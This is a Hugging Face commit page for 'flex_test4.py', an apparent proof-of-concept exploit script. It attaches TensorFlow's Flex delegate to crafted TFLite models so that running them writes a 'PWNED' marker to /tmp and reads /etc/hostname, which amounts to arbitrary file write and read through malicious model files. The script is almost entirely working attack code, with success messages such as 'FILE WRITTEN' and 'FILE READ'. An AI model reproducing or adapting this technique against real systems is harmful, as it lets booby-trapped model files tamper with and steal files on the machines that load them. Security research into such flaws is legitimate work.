Rammadaeus commited on
Commit
8bb5320
·
verified ·
1 Parent(s): a24d7a3

Upload flex_test4.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. flex_test4.py +88 -0
flex_test4.py ADDED
@@ -0,0 +1,88 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Strategy: Import TF first to initialize the runtime, then
2
+ # use the C wrapper directly without loading the common lib again
3
+ import os, sys
4
+
5
+ # Step 1: Import TF to initialize runtime
6
+ import tensorflow as tf
7
+ import numpy as np
8
+ from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper
9
+
10
+ # Step 2: Get AcquireFlexDelegate from the ALREADY-LOADED libraries
11
+ # When TF is imported, libtensorflow_cc.so.2 is already loaded
12
+ import ctypes
13
+
14
+ # Use RTLD_DEFAULT to search all already-loaded libs
15
+ # This avoids re-loading and the double-registration issue
16
+ lib = ctypes.CDLL(None) # None = search global symbol table
17
+
18
+ try:
19
+ acquire = lib._ZN6tflite19AcquireFlexDelegateEv
20
+ acquire.restype = ctypes.c_void_p
21
+ acquire.argtypes = []
22
+ flex_ptr = acquire()
23
+ print(f"FlexDelegate from global: {hex(flex_ptr) if flex_ptr else 'NULL'}")
24
+ except Exception as e:
25
+ print(f"Global lookup failed: {e}")
26
+ # Try explicit lib
27
+ tf_dir = os.path.dirname(tf.__file__)
28
+ cc_path = os.path.join(tf_dir, "libtensorflow_cc.so.2")
29
+ # Use RTLD_NOLOAD to get handle without reloading
30
+ cc_lib = ctypes.CDLL(cc_path, mode=ctypes.RTLD_NOLOAD)
31
+ acquire = cc_lib._ZN6tflite19AcquireFlexDelegateEv
32
+ acquire.restype = ctypes.c_void_p
33
+ acquire.argtypes = []
34
+ flex_ptr = acquire()
35
+ print(f"FlexDelegate from cc: {hex(flex_ptr) if flex_ptr else 'NULL'}")
36
+
37
+ if not flex_ptr:
38
+ print("No flex delegate available")
39
+ sys.exit(1)
40
+
41
+ # Test flex_write
42
+ print("\n=== Test flex_write.tflite ===")
43
+ with open("models/flex_write.tflite", "rb") as f:
44
+ write_data = f.read()
45
+
46
+ w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True)
47
+ print("Created interpreter wrapper")
48
+
49
+ result = w.ModifyGraphWithDelegate(flex_ptr)
50
+ print(f"ModifyGraphWithDelegate: {result}")
51
+
52
+ try:
53
+ w.AllocateTensors()
54
+ print("AllocateTensors succeeded!")
55
+ input_idx = w.InputIndices()
56
+ print(f"Input indices: {input_idx}")
57
+ if input_idx:
58
+ w.SetTensor(input_idx[0], np.array(b"PWNED via TFLite"))
59
+ w.Invoke()
60
+ print("INVOKE SUCCEEDED!")
61
+ if os.path.exists("/tmp/tflite_pwned.txt"):
62
+ with open("/tmp/tflite_pwned.txt") as f:
63
+ print(f"*** FILE WRITTEN: {f.read()} ***")
64
+ else:
65
+ print("File not written")
66
+ except Exception as e:
67
+ print(f"Error: {type(e).__name__}: {str(e)[:800]}")
68
+
69
+ # Test flex_read
70
+ print("\n=== Test flex_read.tflite ===")
71
+ with open("models/flex_read.tflite", "rb") as f:
72
+ read_data = f.read()
73
+
74
+ w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True)
75
+ w2.ModifyGraphWithDelegate(flex_ptr)
76
+
77
+ try:
78
+ w2.AllocateTensors()
79
+ print("AllocateTensors succeeded!")
80
+ input_idx2 = w2.InputIndices()
81
+ w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname"))
82
+ w2.Invoke()
83
+ print("INVOKE SUCCEEDED!")
84
+ output_idx2 = w2.OutputIndices()
85
+ output = w2.GetTensor(output_idx2[0])
86
+ print(f"*** FILE READ: {output} ***")
87
+ except Exception as e:
88
+ print(f"Error: {type(e).__name__}: {str(e)[:800]}")